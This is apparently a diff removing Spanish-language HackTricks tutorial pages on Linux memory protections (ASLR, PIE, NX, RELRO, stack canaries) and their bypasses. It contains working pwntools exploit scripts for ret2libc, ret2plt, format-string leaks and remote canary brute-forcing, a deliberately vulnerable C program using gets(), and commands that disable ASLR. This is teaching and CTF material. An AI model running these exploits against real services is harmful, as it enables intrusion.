## Información Básica
**Address Space Layout Randomization (ASLR)** es una técnica de seguridad utilizada en sistemas operativos para **aleatorizar las direcciones de memoria** utilizadas por los procesos del sistema y de la aplicación. Al hacerlo, se dificulta significativamente que un atacante prediga la ubicación de procesos y datos específicos, como la pila, el montón y las bibliotecas, mitigando así ciertos tipos de exploits, particularmente desbordamientos de búfer.
### **Verificando el Estado de ASLR**
Para **verificar** el estado de ASLR en un sistema Linux, puedes leer el valor del archivo `/proc/sys/kernel/randomize_va_space`. El valor almacenado en este archivo determina el tipo de ASLR que se está aplicando:
- **0**: Sin aleatorización. Todo es estático.
- **1**: Aleatorización conservadora. Las bibliotecas compartidas, la pila, mmap(), la página VDSO están aleatorizadas.
- **2**: Aleatorización completa. Además de los elementos aleatorizados por la aleatorización conservadora, la memoria gestionada a través de `brk()` está aleatorizada.
Puedes verificar el estado de ASLR con el siguiente comando:
```bash
cat /proc/sys/kernel/randomize_va_space
```
### **Deshabilitar ASLR**
Para **deshabilitar** ASLR, debes establecer el valor de `/proc/sys/kernel/randomize_va_space` en **0**. Deshabilitar ASLR generalmente no se recomienda fuera de escenarios de prueba o depuración. Aquí te mostramos cómo puedes deshabilitarlo:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
También puedes desactivar ASLR para una ejecución con:
```bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
```
### **Habilitando ASLR**
Para **habilitar** ASLR, puedes escribir un valor de **2** en el archivo `/proc/sys/kernel/randomize_va_space`. Esto generalmente requiere privilegios de root. La habilitación de la aleatorización completa se puede hacer con el siguiente comando:
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
### **Persistencia a través de reinicios**
Los cambios realizados con los comandos `echo` son temporales y se restablecerán al reiniciar. Para hacer que el cambio sea persistente, necesitas editar el archivo `/etc/sysctl.conf` y agregar o modificar la siguiente línea:
```tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
```
Después de editar `/etc/sysctl.conf`, aplica los cambios con:
```bash
sudo sysctl -p
```
Esto asegurará que la configuración de ASLR se mantenga a través de reinicios.
## **Bypasses**
### Fuerza bruta de 32 bits
PaX divide el espacio de direcciones del proceso en **3 grupos**:
- **Código y datos** (inicializados y no inicializados): `.text`, `.data` y `.bss` —> **16 bits** de entropía en la variable `delta_exec`. Esta variable se inicializa aleatoriamente con cada proceso y se suma a las direcciones iniciales.
- **Memoria** asignada por `mmap()` y **bibliotecas compartidas** —> **16 bits**, llamada `delta_mmap`.
- **La pila** —> **24 bits**, referida como `delta_stack`. Sin embargo, utiliza efectivamente **11 bits** (del 10º al 20º byte inclusive), alineados a **16 bytes** —> Esto resulta en **524,288 posibles direcciones de pila reales**.
Los datos anteriores son para sistemas de 32 bits y la entropía final reducida hace posible eludir ASLR reintentando la ejecución una y otra vez hasta que el exploit se complete con éxito.
#### Ideas de fuerza bruta:
- Si tienes un desbordamiento lo suficientemente grande para alojar un **gran NOP sled antes del shellcode**, podrías simplemente forzar direcciones en la pila hasta que el flujo **salte sobre alguna parte del NOP sled**.
- Otra opción para esto en caso de que el desbordamiento no sea tan grande y el exploit se pueda ejecutar localmente es posible **agregar el NOP sled y el shellcode en una variable de entorno**.
- Si el exploit es local, puedes intentar forzar la dirección base de libc (útil para sistemas de 32 bits):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
- Si atacas un servidor remoto, podrías intentar **forzar la dirección de la función `usleep` de `libc`**, pasando como argumento 10 (por ejemplo). Si en algún momento el **servidor tarda 10s extra en responder**, encontraste la dirección de esta función.
> [!TIP]
> En sistemas de 64 bits, la entropía es mucho mayor y esto no es posible.
### Información Local (`/proc/[pid]/stat`)
El archivo **`/proc/[pid]/stat`** de un proceso siempre es legible por todos y **contiene información interesante** como:
- **startcode** & **endcode**: Direcciones por encima y por debajo del **TEXT** del binario
- **startstack**: La dirección del inicio de la **pila**
- **start_data** & **end_data**: Direcciones por encima y por debajo de donde está el **BSS**
- **kstkesp** & **kstkeip**: Direcciones actuales de **ESP** y **EIP**
- **arg_start** & **arg_end**: Direcciones por encima y por debajo de donde están los **argumentos cli**.
- **env_start** & **env_end**: Direcciones por encima y por debajo de donde están las **variables de entorno**.
Por lo tanto, si el atacante está en la misma computadora que el binario que se está explotando y este binario no espera el desbordamiento de argumentos en bruto, sino de una **entrada diferente que se puede crear después de leer este archivo**. Es posible que un atacante **obtenga algunas direcciones de este archivo y construya offsets a partir de ellas para la explotación**.
> [!TIP]
> Para más información sobre este archivo, consulta [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) buscando `/proc/pid/stat`
### Tener un leak
- **El desafío es dar un leak**
Si te dan un leak (desafíos CTF fáciles), puedes calcular offsets a partir de él (suponiendo, por ejemplo, que conoces la versión exacta de libc que se utiliza en el sistema que estás explotando). Este ejemplo de explotación se extrae de [**ejemplo de aquí**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (consulta esa página para más detalles):
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
```
- **ret2plt**
Abusando de un desbordamiento de búfer, sería posible explotar un **ret2plt** para exfiltrar una dirección de una función de la libc. Ver:
{{#ref}}
ret2plt.md
{{#endref}}
- **Format Strings Arbitrary Read**
Al igual que en ret2plt, si tienes una lectura arbitraria a través de una vulnerabilidad de cadenas de formato, es posible exfiltrar la dirección de una **función de libc** desde el GOT. El siguiente [**ejemplo es de aquí**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
```python
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
```
Puedes encontrar más información sobre la lectura arbitraria de cadenas de formato en:
{{#ref}}
../../format-strings/
{{#endref}}
### Ret2ret & Ret2pop
Intenta eludir ASLR abusando de direcciones dentro de la pila:
{{#ref}}
../../stack-overflow/ret2ret.md
{{#endref}}
{{#include ../../../../banners/hacktricks-training.md}}

78
src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md
View File

@ -1,78 +0,0 @@
# Ret2plt
{{#include ../../../../banners/hacktricks-training.md}}
## Información Básica
El objetivo de esta técnica sería **filtrar una dirección de una función del PLT** para poder eludir ASLR. Esto se debe a que, si, por ejemplo, filtras la dirección de la función `puts` de la libc, puedes entonces **calcular dónde está la base de `libc`** y calcular los desplazamientos para acceder a otras funciones como **`system`**.
Esto se puede hacer con una carga útil de `pwntools` como ([**desde aquí**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):
```python
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
```
Note cómo **`puts`** (usando la dirección del PLT) se llama con la dirección de `puts` ubicada en la GOT (Tabla de Desplazamiento Global). Esto se debe a que para cuando `puts` imprime la entrada de la GOT de `puts`, esta **entrada contendrá la dirección exacta de `puts` en memoria**.
También note cómo se utiliza la dirección de `main` en el exploit, de modo que cuando `puts` termina su ejecución, el **binario llama a `main` nuevamente en lugar de salir** (así que la dirección filtrada seguirá siendo válida).
> [!CAUTION]
> Note cómo para que esto funcione el **binario no puede ser compilado con PIE** o debe haber **encontrado una filtración para eludir PIE** con el fin de conocer la dirección del PLT, GOT y `main`. De lo contrario, necesita eludir PIE primero.
Puede encontrar un [**ejemplo completo de esta elusión aquí**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Este fue el exploit final de ese ejemplo:
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
puts_leak = u32(p.recv(4))
p.recvlines(2)
libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
```
## Otros ejemplos y referencias
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bits, ASLR habilitado pero sin PIE, el primer paso es llenar un desbordamiento hasta el byte 0x00 del canario para luego llamar a puts y filtrarlo. Con el canario se crea un gadget ROP para llamar a puts y filtrar la dirección de puts desde el GOT y luego un gadget ROP para llamar a `system('/bin/sh')`
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 bits, ASLR habilitado, sin canario, desbordamiento de pila en main desde una función hija. Gadget ROP para llamar a puts y filtrar la dirección de puts desde el GOT y luego llamar a un gadget.
{{#include ../../../../banners/hacktricks-training.md}}

16
src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md
View File

@ -1,16 +0,0 @@
# No-exec / NX
{{#include ../../../banners/hacktricks-training.md}}
## Información Básica
El bit **No-Execute (NX)**, también conocido como **Execute Disable (XD)** en la terminología de Intel, es una característica de seguridad basada en hardware diseñada para **mitigar** los efectos de los ataques de **desbordamiento de búfer**. Cuando se implementa y habilita, distingue entre regiones de memoria que están destinadas a **código ejecutable** y aquellas destinadas a **datos**, como la **pila** y el **montículo**. La idea principal es prevenir que un atacante ejecute código malicioso a través de vulnerabilidades de desbordamiento de búfer al colocar el código malicioso en la pila, por ejemplo, y dirigir el flujo de ejecución hacia él.
## Bypasses
- Es posible utilizar técnicas como [**ROP**](../stack-overflow/rop-return-oriented-programing.md) para eludir esta protección ejecutando fragmentos de código ejecutable ya presentes en el binario.
- [**Ret2libc**](../stack-overflow/ret2lib/)
- [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md)
- **Ret2...**
{{#include ../../../banners/hacktricks-training.md}}

32
src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md
View File

@ -1,32 +0,0 @@
# PIE
{{#include ../../../../banners/hacktricks-training.md}}
## Información Básica
Un binario compilado como PIE, o **Ejecutable Independiente de Posición**, significa que el **programa puede cargarse en diferentes ubicaciones de memoria** cada vez que se ejecuta, evitando direcciones codificadas.
El truco para explotar estos binarios radica en explotar las **direcciones relativas**: los desplazamientos entre partes del programa permanecen iguales incluso si las ubicaciones absolutas cambian. Para **eludir PIE, solo necesitas filtrar una dirección**, típicamente desde la **pila** utilizando vulnerabilidades como ataques de formato de cadena. Una vez que tienes una dirección, puedes calcular otras por sus **desplazamientos fijos**.
Una pista útil para explotar binarios PIE es que su **dirección base típicamente termina en 000** debido a que las páginas de memoria son las unidades de aleatorización, con un tamaño de 0x1000 bytes. Esta alineación puede ser un **chequeo crítico si un exploit no está funcionando** como se esperaba, indicando si se ha identificado la dirección base correcta.\
O puedes usar esto para tu exploit, si filtras que una dirección está ubicada en **`0x649e1024`** sabes que la **dirección base es `0x649e1000`** y desde ahí puedes **calcular desplazamientos** de funciones y ubicaciones.
## Elusiones
Para eludir PIE es necesario **filtrar alguna dirección del binario cargado**, hay algunas opciones para esto:
- **ASLR deshabilitado**: Si ASLR está deshabilitado, un binario compilado con PIE siempre **se cargará en la misma dirección**, por lo tanto **PIE será inútil** ya que las direcciones de los objetos siempre estarán en el mismo lugar.
- Ser **proporcionado** el leak (común en desafíos CTF fáciles, [**ver este ejemplo**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
- **Fuerza bruta de los valores EBP y EIP** en la pila hasta que filtren los correctos:
{{#ref}}
bypassing-canary-and-pie.md
{{#endref}}
- Usar una vulnerabilidad de lectura arbitraria como [**formato de cadena**](../../format-strings/) para filtrar una dirección del binario (por ejemplo, desde la pila, como en la técnica anterior) para obtener la base del binario y usar desplazamientos desde allí. [**Encuentra un ejemplo aquí**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
## Referencias
- [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)
{{#include ../../../../banners/hacktricks-training.md}}

84
src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md
View File

@ -1,84 +0,0 @@
# Direcciones BF en la Pila
{{#include ../../../../banners/hacktricks-training.md}}
**Si te enfrentas a un binario protegido por un canario y PIE (Ejecutable Independiente de Posición), probablemente necesites encontrar una forma de eludirlos.**
![](<../../../../images/image (144).png>)
> [!NOTE]
> Ten en cuenta que **`checksec`** podría no encontrar que un binario está protegido por un canario si este fue compilado estáticamente y no es capaz de identificar la función.\
> Sin embargo, puedes notar esto manualmente si encuentras que un valor se guarda en la pila al comienzo de una llamada a función y este valor se verifica antes de salir.
## Direcciones de Fuerza Bruta
Para eludir el PIE necesitas **filtrar alguna dirección**. Y si el binario no está filtrando ninguna dirección, lo mejor que puedes hacer es **fuerza bruta del RBP y RIP guardados en la pila** en la función vulnerable.\
Por ejemplo, si un binario está protegido usando tanto un **canario** como **PIE**, puedes comenzar a hacer fuerza bruta al canario, luego los **siguientes** 8 Bytes (x64) serán el **RBP** guardado y los **siguientes** 8 Bytes serán el **RIP** guardado.
> [!TIP]
> Se supone que la dirección de retorno dentro de la pila pertenece al código binario principal, que, si la vulnerabilidad se encuentra en el código binario, generalmente será el caso.
Para hacer fuerza bruta al RBP y al RIP del binario, puedes deducir que un byte adivinado válido es correcto si el programa produce algo o simplemente no se bloquea. La **misma función** que se proporciona para hacer fuerza bruta al canario se puede usar para hacer fuerza bruta al RBP y al RIP:
```python
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
```
Lo último que necesitas para derrotar el PIE es calcular **direcciones útiles a partir de las direcciones filtradas**: el **RBP** y el **RIP**.
Desde el **RBP** puedes calcular **dónde estás escribiendo tu shell en la pila**. Esto puede ser muy útil para saber dónde vas a escribir la cadena _"/bin/sh\x00"_ dentro de la pila. Para calcular la distancia entre el RBP filtrado y tu shellcode, simplemente puedes poner un **punto de interrupción después de filtrar el RBP** y verificar **dónde se encuentra tu shellcode**, luego, puedes calcular la distancia entre el shellcode y el RBP:
```python
INI_SHELLCODE = RBP - 1152
```
Desde el **RIP** puedes calcular la **dirección base del binario PIE**, que es lo que necesitarás para crear una **cadena ROP válida**.\
Para calcular la dirección base, simplemente haz `objdump -d vunbinary` y verifica las últimas direcciones desensambladas:
![](<../../../../images/image (145).png>)
En ese ejemplo, puedes ver que solo se **necesitan 1 Byte y medio** para localizar todo el código, entonces, la dirección base en esta situación será el **RIP filtrado pero terminando en "000"**. Por ejemplo, si filtraste `0x562002970ecf`, la dirección base es `0x562002970000`
```python
elf.address = RIP - (RIP & 0xfff)
```
{{#include ../../../../banners/hacktricks-training.md}}

31
src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md
View File

@ -1,31 +0,0 @@
# Relro
{{#include ../../../banners/hacktricks-training.md}}
## Relro
**RELRO** significa **Relocation Read-Only**, y es una característica de seguridad utilizada en binarios para mitigar los riesgos asociados con sobrescrituras de **GOT (Global Offset Table)**. Desglosemos el concepto en sus dos tipos distintos para mayor claridad: **Partial RELRO** y **Full RELRO**.
### **Partial RELRO**
**Partial RELRO** adopta un enfoque más simple para mejorar la seguridad sin afectar significativamente el rendimiento del binario. Al **posicionar el GOT por encima de las variables del programa en memoria, Partial RELRO busca prevenir que los desbordamientos de búfer alcancen y corrompan el GOT**.
Esto **no impide que el GOT** sea abusado **por vulnerabilidades de escritura arbitraria**.
### **Full RELRO**
**Full RELRO** aumenta la protección al **hacer que el GOT sea completamente de solo lectura.** Una vez que el binario comienza, todas las direcciones de función se resuelven y se cargan en el GOT, luego, el GOT se marca como de solo lectura, lo que efectivamente previene cualquier modificación durante el tiempo de ejecución.
Sin embargo, la desventaja de Full RELRO está en términos de rendimiento y tiempo de inicio. Debido a que necesita resolver todos los símbolos dinámicos al inicio antes de marcar el GOT como de solo lectura, **los binarios con Full RELRO habilitado pueden experimentar tiempos de carga más largos**. Este costo adicional de inicio es la razón por la cual Full RELRO no está habilitado por defecto en todos los binarios.
Es posible ver si Full RELRO está habilitado en un binario con:
```bash
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
```
## Bypass
Si Full RELRO está habilitado, la única forma de eludirlo es encontrar otra manera que no necesite escribir en la tabla GOT para obtener ejecución arbitraria.
Tenga en cuenta que la GOT de LIBC suele ser Partial RELRO, por lo que se puede modificar con una escritura arbitraria. Más información en [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
{{#include ../../../banners/hacktricks-training.md}}

70
src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md
View File

@ -1,70 +0,0 @@
# Stack Canaries
{{#include ../../../../banners/hacktricks-training.md}}
## **StackGuard y StackShield**
**StackGuard** inserta un valor especial conocido como **canary** antes del **EIP (Extended Instruction Pointer)**, específicamente `0x000aff0d` (que representa null, nueva línea, EOF, retorno de carro) para proteger contra desbordamientos de búfer. Sin embargo, funciones como `recv()`, `memcpy()`, `read()`, y `bcopy()` siguen siendo vulnerables, y no protege el **EBP (Base Pointer)**.
**StackShield** adopta un enfoque más sofisticado que StackGuard al mantener una **Global Return Stack**, que almacena todas las direcciones de retorno (**EIPs**). Esta configuración asegura que cualquier desbordamiento no cause daño, ya que permite una comparación entre las direcciones de retorno almacenadas y las reales para detectar ocurrencias de desbordamiento. Además, StackShield puede verificar la dirección de retorno contra un valor límite para detectar si el **EIP** apunta fuera del espacio de datos esperado. Sin embargo, esta protección puede ser eludida a través de técnicas como Return-to-libc, ROP (Return-Oriented Programming), o ret2ret, lo que indica que StackShield tampoco protege las variables locales.
## **Stack Smash Protector (ProPolice) `-fstack-protector`:**
Este mecanismo coloca un **canary** antes del **EBP**, y reorganiza las variables locales para posicionar los búferes en direcciones de memoria más altas, evitando que sobrescriban otras variables. También copia de manera segura los argumentos pasados en la pila por encima de las variables locales y utiliza estas copias como argumentos. Sin embargo, no protege los arreglos con menos de 8 elementos o los búferes dentro de la estructura de un usuario.
El **canary** es un número aleatorio derivado de `/dev/urandom` o un valor predeterminado de `0xff0a0000`. Se almacena en **TLS (Thread Local Storage)**, permitiendo que los espacios de memoria compartidos entre hilos tengan variables globales o estáticas específicas del hilo. Estas variables se copian inicialmente del proceso padre, y los procesos hijos pueden alterar sus datos sin afectar al padre o a los hermanos. Sin embargo, si se utiliza un **`fork()` sin crear un nuevo canary, todos los procesos (padre e hijos) comparten el mismo canary**, lo que lo hace vulnerable. En la arquitectura **i386**, el canary se almacena en `gs:0x14`, y en **x86_64**, en `fs:0x28`.
Esta protección local identifica funciones con búferes vulnerables a ataques e inyecta código al inicio de estas funciones para colocar el canary, y al final para verificar su integridad.
Cuando un servidor web utiliza `fork()`, permite un ataque de fuerza bruta para adivinar el byte del canary byte por byte. Sin embargo, usar `execve()` después de `fork()` sobrescribe el espacio de memoria, negando el ataque. `vfork()` permite que el proceso hijo se ejecute sin duplicación hasta que intente escribir, momento en el cual se crea una duplicación, ofreciendo un enfoque diferente para la creación de procesos y el manejo de memoria.
### Longitudes
En binarios `x64`, la cookie del canary es un **`0x8`** byte qword. Los **primeros siete bytes son aleatorios** y el último byte es un **byte nulo.**
En binarios `x86`, la cookie del canary es un **`0x4`** byte dword. Los **primeros tres bytes son aleatorios** y el último byte es un **byte nulo.**
> [!CAUTION]
> El byte menos significativo de ambos canaries es un byte nulo porque será el primero en la pila proveniente de direcciones más bajas y, por lo tanto, **las funciones que leen cadenas se detendrán antes de leerlo**.
## Bypasses
**Filtrar el canary** y luego sobrescribirlo (por ejemplo, desbordamiento de búfer) con su propio valor.
- Si el **canary se bifurca en procesos hijos**, podría ser posible **forzarlo** byte a byte:
{{#ref}}
bf-forked-stack-canaries.md
{{#endref}}
- Si hay alguna **filtración interesante o vulnerabilidad de lectura arbitraria** en el binario, podría ser posible filtrarlo:
{{#ref}}
print-stack-canary.md
{{#endref}}
- **Sobrescribiendo punteros almacenados en la pila**
La pila vulnerable a un desbordamiento de pila podría **contener direcciones a cadenas o funciones que pueden ser sobrescritas** para explotar la vulnerabilidad sin necesidad de alcanzar el canary de la pila. Verifica:
{{#ref}}
../../stack-overflow/pointer-redirecting.md
{{#endref}}
- **Modificando tanto el canary maestro como el de hilo**
Un desbordamiento de búfer en una función con hilos protegida con canary puede ser utilizado para modificar el canary maestro del hilo. Como resultado, la mitigación es inútil porque la verificación se utiliza con dos canaries que son los mismos (aunque modificados).
- **Modificar la entrada GOT de `__stack_chk_fail`**
Si el binario tiene Partial RELRO, entonces puedes usar una escritura arbitraria para modificar la entrada GOT de `__stack_chk_fail` para que sea una función ficticia que no bloquee el programa si el canary se modifica.
## Referencias
- [https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html)
- [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
- 64 bits, no PIE, nx, modificar canary de hilo y maestro.
- [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
- 64 bits, no PIE, nx, primitive write-what-where. Modificar entrada GOT de `__stack_chk_fail`.
{{#include ../../../../banners/hacktricks-training.md}}

218
src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
View File

@ -1,218 +0,0 @@
# BF Forked & Threaded Stack Canaries
{{#include ../../../../banners/hacktricks-training.md}}
**Si te enfrentas a un binario protegido por un canario y PIE (Ejecutable Independiente de Posición), probablemente necesites encontrar una forma de eludirlos.**
![](<../../../../images/image (144).png>)
> [!NOTE]
> Ten en cuenta que **`checksec`** podría no encontrar que un binario está protegido por un canario si este fue compilado estáticamente y no es capaz de identificar la función.\
> Sin embargo, puedes notar esto manualmente si encuentras que un valor se guarda en la pila al comienzo de una llamada a función y este valor se verifica antes de salir.
## Fuerza bruta del Canario
La mejor manera de eludir un canario simple es si el binario es un programa **que crea procesos hijos cada vez que estableces una nueva conexión** con él (servicio de red), porque cada vez que te conectas a él **se usará el mismo canario**.
Entonces, la mejor manera de eludir el canario es simplemente **forzarlo de forma bruta carácter por carácter**, y puedes averiguar si el byte del canario adivinado fue correcto comprobando si el programa se ha bloqueado o continúa su flujo regular. En este ejemplo, la función **fuerza bruta un canario de 8 Bytes (x64)** y distingue entre un byte adivinado correctamente y un byte incorrecto simplemente **comprobando** si se envía una **respuesta** de vuelta por el servidor (otra forma en **otra situación** podría ser usando un **try/except**):
### Ejemplo 1
Este ejemplo está implementado para 64 bits, pero podría implementarse fácilmente para 32 bits.
```python
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
```
### Ejemplo 2
Esto está implementado para 32 bits, pero esto podría cambiarse fácilmente a 64 bits.\
También tenga en cuenta que para este ejemplo el **programa esperaba primero un byte para indicar el tamaño de la entrada** y la carga útil.
```python
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
#gdb.attach(target)
# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
```
## Hilos
Los hilos del mismo proceso también **compartirán el mismo token canario**, por lo tanto, será posible **forzar** un canario si el binario genera un nuevo hilo cada vez que ocurre un ataque.
Un desbordamiento de búfer en una función con hilos protegida con canario puede ser utilizado para modificar el canario maestro del proceso. Como resultado, la mitigación es inútil porque la verificación se utiliza con dos canarios que son iguales (aunque modificados).
### Ejemplo
El siguiente programa es vulnerable a Buffer Overflow, pero está compilado con canario:
```c
#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
// gcc thread_canary.c -no-pie -l pthread -o thread_canary
void win() {
execve("/bin/sh", NULL, NULL);
}
void* vuln() {
char data[0x20];
gets(data);
}
int main() {
pthread_t thread;
pthread_create(&thread, NULL, vuln, NULL);
pthread_join(thread, NULL);
return 0;
}
```
Nota que `vuln` se llama dentro de un hilo. En GDB podemos echar un vistazo a `vuln`, específicamente, en el punto donde el programa llama a `gets` para leer datos de entrada:
```bash
gef> break gets
Breakpoint 1 at 0x4010a0
gef> run
...
gef> x/10gx $rdi
0x7ffff7d7ee20: 0x0000000000000000 0x0000000000000000
0x7ffff7d7ee30: 0x0000000000000000 0x0000000000000000
0x7ffff7d7ee40: 0x0000000000000000 0x493fdc653a156800
0x7ffff7d7ee50: 0x0000000000000000 0x00007ffff7e17ac3
0x7ffff7d7ee60: 0x0000000000000000 0x00007ffff7d7f640
```
La parte anterior representa la dirección de `data`, donde el programa escribirá la entrada del usuario. El stack canary se encuentra en `0x7ffff7d7ee48` (`0x493fdc653a156800`), y la dirección de retorno está en `0x7ffff7d7ee50` (`0x00007ffff7e17ac3`):
```bash
gef> telescope $rdi 8 -n
0x7ffff7d7ee20|+0x0000|+000: 0x0000000000000000 <- $rdi
0x7ffff7d7ee28|+0x0008|+001: 0x0000000000000000
0x7ffff7d7ee30|+0x0010|+002: 0x0000000000000000
0x7ffff7d7ee38|+0x0018|+003: 0x0000000000000000
0x7ffff7d7ee40|+0x0020|+004: 0x0000000000000000
0x7ffff7d7ee48|+0x0028|+005: 0x493fdc653a156800 <- canary
0x7ffff7d7ee50|+0x0030|+006: 0x0000000000000000 <- $rbp
0x7ffff7d7ee58|+0x0038|+007: 0x00007ffff7e17ac3 <start_thread+0x2f3> -> 0xe8ff31fffffe6fe9 <- retaddr[2]
```
Nota que las direcciones de la pila no pertenecen a la pila real:
```bash
gef> vmmap stack
[ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start End Size Offset Perm Path
0x00007ffff7580000 0x00007ffff7d83000 0x0000000000803000 0x0000000000000000 rw- <tls-th1><stack-th2> <- $rbx, $rsp, $rbp, $rsi, $rdi, $r12
0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack] <- $r9, $r15
```
La pila del hilo se coloca por encima del Almacenamiento Local de Hilos (TLS), donde se almacena el canario maestro:
```bash
gef> tls
$tls = 0x7ffff7d7f640
...
---------------------------------------------------------------------------- TLS ----------------------------------------------------------------------------
0x7ffff7d7f640|+0x0000|+000: 0x00007ffff7d7f640 -> [loop detected] <- $rbx, $r12
0x7ffff7d7f648|+0x0008|+001: 0x00000000004052b0 -> 0x0000000000000001
0x7ffff7d7f650|+0x0010|+002: 0x00007ffff7d7f640 -> [loop detected]
0x7ffff7d7f658|+0x0018|+003: 0x0000000000000001
0x7ffff7d7f660|+0x0020|+004: 0x0000000000000000
0x7ffff7d7f668|+0x0028|+005: 0x493fdc653a156800 <- canary
